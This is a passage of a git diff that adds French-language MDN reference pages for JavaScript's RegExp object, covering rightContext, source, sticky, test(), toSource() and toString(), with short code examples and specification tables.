+<p>Voir la page {{jsxref("RegExp")}} qui décrit les instances de <code>RegExp</code>. Chaque instance de <code>RegExp</code> hérite de <code>RegExp.prototype</code>. Toute modification à l'objet prototype est propagée aux instances de <code>RegExp</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>Voir également la page sur <a href="/fr/docs/JavaScript/Reference/Annexes/Fonctionnalités_dépréciées">les propriétés dépréciées de <code>RegExp</code>.</a></p>
+
+<p>On notera que plusieurs des propriétés de {{jsxref("RegExp")}} ont un nom court et un nom long (semblable aux noms Perl). Le nom court et le nom long font référence à la même propriété. La modélisation des expressions rationnelles JavaScript est basée sur celle de Perl, un autre langage de programmation.</p>
+
+<dl>
+ <dt><code>RegExp.prototype.</code><code>constructor</code></dt>
+ <dd>Définit la fonction qui crée le prototype d'un objet.</dd>
+ <dt>{{jsxref("RegExp.prototype.flags")}}</dt>
+ <dd>Une chaîne qui contient les drapeaux (<em>flags</em>) utilisés pour l'objet <code>RegExp</code>.</dd>
+ <dt>{{jsxref("RegExp.prototype.dotAll")}}</dt>
+ <dd>Indique si <code>.</code> peut correspondre à des sauts de ligne.</dd>
+ <dt>{{jsxref("RegExp.prototype.global")}}</dt>
+ <dd>Définit si l'expression rationnelle doit relever la première correspondance d'une chaîne ou toutes les correspondances.</dd>
+ <dt>{{jsxref("RegExp.prototype.ignoreCase")}}</dt>
+ <dd>Définit si l'expression rationnelle doit ignorer la casse ou non pour détecter une correspondance.</dd>
+ <dt>{{jsxref("RegExp.prototype.multiline")}}</dt>
+ <dd>Définit si la recherche de la correspondance s'effectue sur plusieurs lignes ou sur une seule.</dd>
+ <dt>{{jsxref("RegExp.prototype.source")}}</dt>
+ <dd>Le texte du motif (<em>pattern</em>) à rechercher.</dd>
+ <dt>{{jsxref("RegExp.prototype.sticky")}}</dt>
+ <dd>Définit si la recherche s'effectue uniquement à partir de <code>lastIndex</code> ou non.</dd>
+ <dt>{{jsxref("RegExp.prototype.unicode")}}</dt>
+ <dd>Cette propriété indique si les fonctionnalités Unicode sont activées ou non.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Regexp.prototype.compile()")}}{{deprecated_inline}}</dt>
+ <dd>(Re)compile une expression rationnelle lors de l'exécution d'un script.</dd>
+ <dt>{{jsxref("RegExp.prototype.exec()")}}</dt>
+ <dd>Exécute une recherche de correspondance sur la chaîne de caractères fournie en paramètre.</dd>
+ <dt>{{jsxref("RegExp.prototype.test()")}}</dt>
+ <dd>Teste s'il y a une correspondance dans la chaîne de caractères fournie en paramètre.</dd>
+ <dt>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</dt>
+ <dd>Teste une correspondance sur une chaîne de caractères donnée et renvoie le résultat du test.</dd>
+ <dt>{{jsxref("RegExp.prototype.@@matchAll()", "RegExp.prototype[@@matchAll]()")}}</dt>
+ <dd>Renvoie l'ensemble des correspondances d'une expression rationnelle sur une chaîne.</dd>
+ <dt>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</dt>
+ <dd>Remplace les correspondances d'une chaîne de caractères avec une nouvelle sous-chaînes.</dd>
+ <dt>{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}</dt>
+ <dd>Recherche la correspondance dans une chaîne de caractères donnée et renvoie la position où est trouvé le motif.</dd>
+ <dt>{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}</dt>
+ <dd>Découpe une chaîne de caractères en un tableau de sous-chaînes.</dd>
+ <dt>{{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Renvoie un littéral objet représentant l'objet spécifié. Cette méthode peut être utilisée pour créer un nouvel objet. Elle surcharge la méthode {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("RegExp.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères représentant l'objet spécifié. Cette méthode surcharge {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.5.1', 'RegExp')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype', 'RegExp.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype', 'RegExp.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">Le chapitre concernant les expressions rationnelles</a> du <a href="/fr/docs/Web/JavaScript/Guide" title="JavaScript/Guide">Guide JavaScript</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/rightcontext/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/rightcontext/index.html
new file mode 100644
index 0000000000..924c4e564d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/rightcontext/index.html
@@ -0,0 +1,57 @@
+---
+title: RegExp.rightContext ($')
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/rightContext
+tags:
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Reference
+  - RegExp
+  - Regular Expressions
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/rightContext
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété non-standard <strong><code>rightContext</code> </strong>est une propriété statique, accessible uniquement en lecture, qui contient la sous-chaîne suivant la correspondance la plus récente. <code>RegExp.$'</code> est un alias pour cette propriété.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>RegExp</var>.rightContext
+RegExp["$'"]
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>rightContext</code> est une propriété statique et n'est pas liée à une instance d'expression rationnelle. Pour cette raison, il faut toujours utiliser la syntaxe <code>RegExp.rightContext</code> ou <code>RegExp["$'"].</code></p>
+
+<p>La valeur de la propriété <code>rightContext</code> n'est accessible qu'en lecture. Le moteur la modifie à chaque fois qu'une nouvelle correspondance est trouvée.</p>
+
+<p>L'alias ne peut pas être utilisé avec la syntaxe utilisant le point (<code>RegExp.$'</code>). En effet, l'analyseur (<em>parser</em>) attend un début de chaîne du fait de la simple quote, ce qui provoquerait une exception {{jsxref("SyntaxError")}}. Il faut donc utiliser <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres#Notation_avec_crochets">la notation à base de crochets</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var re = /coucou/g;
+re.test("coucou monde !");
+RegExp.rightContext; // " monde !"
+RegExp["$'"];       // " monde !"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas standard, elle ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.rightContext")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/source/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/source/index.html
new file mode 100644
index 0000000000..53d8e7a93f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/source/index.html
@@ -0,0 +1,82 @@
+---
+title: RegExp.prototype.source
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/source
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/source
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>source</strong></code> renvoie une chaîne de caractères qui contient le texte du motif à rechercher (<em>pattern</em>), sans les barres obliques (<em>slashes</em>). C'est une propriété en lecture seule liée à l'instance. <strong><code>source</code></strong> ne contient aucun des options ou drapeaux (<em>flags</em>) (tels que "g", "i" ou "m") de l'expression rationnelle.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-source.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_source">Utiliser <code>source</code></h3>
+
+<pre class="brush:js">var regex = /totoMachin/ig;
+
+console.log(regex.source); // "totoMachin"
+</pre>
+
+<h3 id="Les_expressions_ratonnelles_vides_et_l'échappement">Les expressions ratonnelles vides et l'échappement</h3>
+
+<p>À partir d'ECMAScript 5, la propriété <code>source</code> ne renvoie plus une chaîne vide pour les expressions rationnelles vides. Elle renvoie la chaîne <code>"(?:)"</code>. De plus, les fins de lignes (telles que "\n") sont désormais échappées.</p>
+
+<pre class="brush: js">new RegExp().source; // "(?:)"
+
+new RegExp('\n').source === "\n";  // true avant ES5
+new RegExp('\n').source === "\\n"; // true à partir d'ES5</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : <code>source</code> est une propriété de l'instance de {{jsxref("RegExp")}}, ce n'est pas une propriété de l'objet <code>RegExp</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.1', 'RegExp.prototype.source')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td><code>source</code> renvoie désormais "(?:)" (et non "") pour les expressions vides. La définition du comportement pour les échappements a été ajoutée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><code>source</code> est désormais un accesseur lié au prototype plutôt qu'une propriété directement rattachée à l'instance.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.source")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.flags")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/sticky/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/sticky/index.html
new file mode 100644
index 0000000000..27dc60d802
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/sticky/index.html
@@ -0,0 +1,95 @@
+---
+title: RegExp.prototype.sticky
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/sticky
+tags:
+  - ECMAScript 2015
+  - Expressions rationnelles
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/sticky
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>sticky</strong></code> (adhérante) permet de déterminer si la recherche s'effectue uniquement à partir de l'indice {{jsxref("RegExp.lastIndex", "lastIndex")}} lié à l'expression rationnelle ou non). <code>sticky</code> est une propriété accessible en lecture seule, rattachée à l'instance.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-sticky.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>sticky</code> est un booléen qui vaut <code>true</code> si le marqueur (<em>flag</em>) "<code>y</code>" a été utilisé, <code>false</code> sinon. Ce marqueur indique que les correspondances ne sont recherchées qu'à partir de l'indice {{jsxref("RegExp.lastIndex", "lastIndex")}} au niveau de la chaîne de caractères (les correspondances à partir des autres positions ne seront pas trouvées). Lorsqu'une expression rationnelle qui utilise le marqueur <code>sticky</code> <strong>et</strong> le marqueur <code>global</code> ignorera le marqueur <code>global</code>.</p>
+
+<p>La propriété <code>sticky</code> ne peut pas être modifiée directement. Elle est uniquement en lecture seule.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_une_expression_rationnelle_avec_le_flag_sticky">Utiliser une expression rationnelle avec le <em>flag</em> <em>sticky</em></h3>
+
+<pre class="brush: js">var str = '#toto#';
+var regex = /toto/y;
+
+regex.lastIndex = 1;
+regex.test(str); // true
+regex.lastIndex = 5;
+regex.test(str); // false (lastIndex est pris en compte avec sticky)
+regex.lastIndex; // 0 (on rénitialise après un échec)
+</pre>
+
+<h3 id="Marqueur_d'adhérence_«_ancré_»">Marqueur d'adhérence « ancré »</h3>
+
+<p>Pendant plusieurs versions, le moteur JavaScript de Firefox, SpiderMonkey, avait un bug qui entraînait des correspondances invalides lorsqu'étaient utilisés le marqueur d'adhérence et le symbole <code>^</code> dans l'expression rationnelle. Ce bug est apparu peu après Firefox 3.6. Afin d'éviter ce bug, la spécification ES2015 indique spécifiquement que, lorsque le marqueur <code>y</code> est utilisé avec un motif commençant par <code>^</code>, ce dernier doit correspondre au début de la chaine (ou, si <code>multiline</code> vaut <code>true</code>, au début de la ligne). Les exemples qui suivent illustrent le comportement correct :</p>
+
+<pre class="brush: js">var regex = /^foo/y;
+regex.lastIndex = 2; // désactive la correspondance au début
+regex.test("..foo"); // false
+
+var regex2 = /^foo/my;
+regex2.lastIndex = 2;
+regex2.test("..foo"); // false
+regex2.lastIndex = 2;
+regex2.test(".\nfoo"); // true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Etat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.sticky")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/test/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/test/index.html
new file mode 100644
index 0000000000..a68e3eb976
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/test/index.html
@@ -0,0 +1,138 @@
+---
+title: RegExp.prototype.test()
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/test
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>test()</strong></code> vérifie s'il y a une correspondance entre un texte et une expression rationnelle. Elle retourne <code>true</code> en cas de succès et <code>false</code> dans le cas contraire.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-test.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>regexObj</var>.test(<var>chaîne</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>chaîne</code></dt>
+ <dd>La chaîne de caractères qu'on souhaite comparer à l'expression rationnelle.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un booléen : <code>true</code> ou <code>false</code> selon qu'une correspondance a été trouvée entre la chaîne de caractères et la chaîne passée en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>On utilisera <code>test()</code> dès qu'on souhaite savoir si une partie d'une chaîne de caractères correspond à une expression rationnelle (similaire à la méthode {{jsxref("String.prototype.search()")}}). Pour obtenir plus d'informations (mais une exécution moins rapide), on utilisera la méthode {{jsxref("RegExp.prototype.exec()", "exec()")}} (similaire à la méthode {{jsxref("String.prototype.match()")}}). Comme avec {{jsxref("RegExp.prototype.exec()", "exec()")}} (et même en combinant les deux), des appels successifs à <code>test()</code> sur une même instance d'une expression rationnelle permettent de rechercher après la dernière occurence. Cette méthode est différente de <code>search</code> car elle renvoie un booléen et non la position de la correspondance si elle est trouvée (ou <code>-1</code> sinon).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_test">Utiliser <code>test()</code></h3>
+
+<p>Voici un exemple simple qui illustre comment détecter si la chaîne <code>coucou</code> est contenue au début d'une chaîne :</p>
+
+<pre class="brush: js notranslate">const chaine = "coucou le monde !";
+const resultat = /^coucou/.test(chaine);
+console.log(resultat); // true
+</pre>
+
+<p>L'exemple ci-dessous affiche un message qui dépend du succès du test :</p>
+
+<pre class="brush: js notranslate">function testinput(regex, chaine){
+    var midstring;
+    if (regex.test(chaine)) {
+        midstring = " contient ";
+    } else {
+        midstring = " ne contient pas ";
+    }
+    console.log(str + midstring + re.source);
+}
+
+testinput(/^coucou/, "coucou le monde"); // coucou le monde contient coucou
+testinput(/^coucou/, "salut le monde") // salut le monde ne contient pas coucou
+</pre>
+
+<h3 id="Utiliser_test_avec_le_marqueur_global_g">Utiliser <code>test()</code> avec le marqueur global (<code>/g</code>)</h3>
+
+<p>Si l'expression rationnelle utilise le marqueur global (<code>g</code>), la méthode <code>test()</code> avancera la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} associée à l'expression rationnelle. Ainsi, si on utilise <code>test()</code> ensuite, la recherche commencera à partir de la nouvelle valeur de <code>lastIndex</code> (de même {{jsxref("RegExp.prototype.exec()","exec()")}} fera également avancer la propriété <code>lastIndex</code>). On notera que la propriété <code>lastIndex</code> ne sera pas réinitialisée si la recherche est effectuée sur une autre chaîne de caractères.</p>
+
+<pre class="brush: js notranslate">var regex = /toto/g;
+
+// regex.lastIndex se situe à 0
+regex.test("toto"); // true
+
+// regex.lastIndex se situe désormais à 4
+regex.test("toto"); // false
+</pre>
+
+<p>Avec le même mécanisme, on peut utiliser une boucle pour compter le nombre de mots contenus dans une chaîne de caractères</p>
+
+<pre class="brush: js notranslate">function compterMots(texte) {
+  for (var regex = /\w+/g, nbMots = 0; regex.test(texte); nbMots++);
+  return nbMots;
+}
+
+console.log(compterMots("Ah que coucou Bob")); // 4
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.6.3', 'RegExp.test')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.test', 'RegExp.test')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.test', 'RegExp.test')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.test")}}</p>
+
+<h2 id="Notes_spécifiques_à_Firefox">Notes spécifiques à Firefox</h2>
+
+<p>Pour les versions antérieures à Firefox 8.0, l'implémentation de <code>test()</code> était erronée. Quand la méthode était appelée sans aucun paramètre, elle effectuait son test par rapport à la dernière entrée (la propriété <code>RegExp.input</code>) et non par rapport à la chaîne <code>"undefined"</code>. Ce comportement a été corrigé  ; désormais <code>/undefined/.test()</code> retourne bien <code>true</code> au lieu d'une erreur.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le chapitre sur <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">les expressions rationnelles</a> du <a href="/fr/docs/Web/JavaScript/Guide">guide JavaScript</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/tosource/index.html
new file mode 100644
index 0000000000..976fb23117
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/tosource/index.html
@@ -0,0 +1,57 @@
+---
+title: RegExp.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/toSource
+tags:
+  - JavaScript
+  - Méthode
+  - Non-standard
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toSource
+---
+<div>{{JSRef}}{{non-standard_header}}</div>
+
+<p>La méthode <code><strong>toSource()</strong></code> permet de renvoyer une chaîne de caractères représentant le code source de l'objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>objetRegExp</var>.toSource()
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant le code source de l'objet {{jsxref("RegExp")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toSource</code> renvoie les valeurs suivantes :</p>
+
+<ul>
+ <li>Pour l'objet natif {{jsxref("RegExp")}}, <code>toSource()</code> renvoie la chaîne de caractères suivante, indiquant que le code source n'est pas disponible :
+
+  <pre class="brush: js">function RegExp() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Pour les instances de {{jsxref("RegExp")}}, <code>toSource()</code> renvoie une chaîne de caractères indiquant le code source de l'objet.</li>
+</ul>
+
+<p>Cette méthode est généralement utilisée de façon interne au moteur JavaScript, elle n'est pas censée être utilisée dans du code JavaScript classique.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.toSource")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/tostring/index.html
new file mode 100644
index 0000000000..a06f740075
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/tostring/index.html
@@ -0,0 +1,96 @@
+---
+title: RegExp.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/toString
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une chaîne de caractères représentant l'expression rationnelle.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-tostring.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>regexObj</var>.toString();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant l'expression rationnelle appelante.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("RegExp")}} surcharge la méthode <code>toString</code> de l'objet {{jsxref("Object")}}. Il n'hérite donc pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets <code>RegExp</code>, la méthode <code>toString()</code> renvoie une représentation de l'expression rationnelle sous la forme d'une chaîne de caractères.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toString()">Utiliser <code>toString()</code></h3>
+
+<p>L'exemple qui suit affiche la chaîne correspondant à la valeur de l'objet {{jsxref("Global_Objects/RegExp", "RegExp")}} :</p>
+
+<pre class="brush: js">var maRegExp = new RegExp("a+b+c");
+console.log(maRegExp.toString());  // affiche "/a+b+c/"
+
+var toto = new RegExp("truc", "g");
+console.log(toto.toString());      // affiche "/truc/g"
+</pre>
+
+<h3 id="Les_expressions_ratonnelles_vides_et_l'échappement">Les expressions ratonnelles vides et l'échappement</h3>
+
+<p>À partir d'ECMAScript 5, la méthode renvoie la chaîne <code>"(?:)"</code> pour les expressions vides. De plus, les fins de lignes (telles que "\n") sont désormais échappées.</p>
+
+<pre class="brush: js">new RegExp().toString(); // "(?:)"
+
+new RegExp('\n').toString() === "/\n/";  // true avant ES5
+new RegExp('\n').toString() === "/\\n/"; // true à partir d'ES5</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
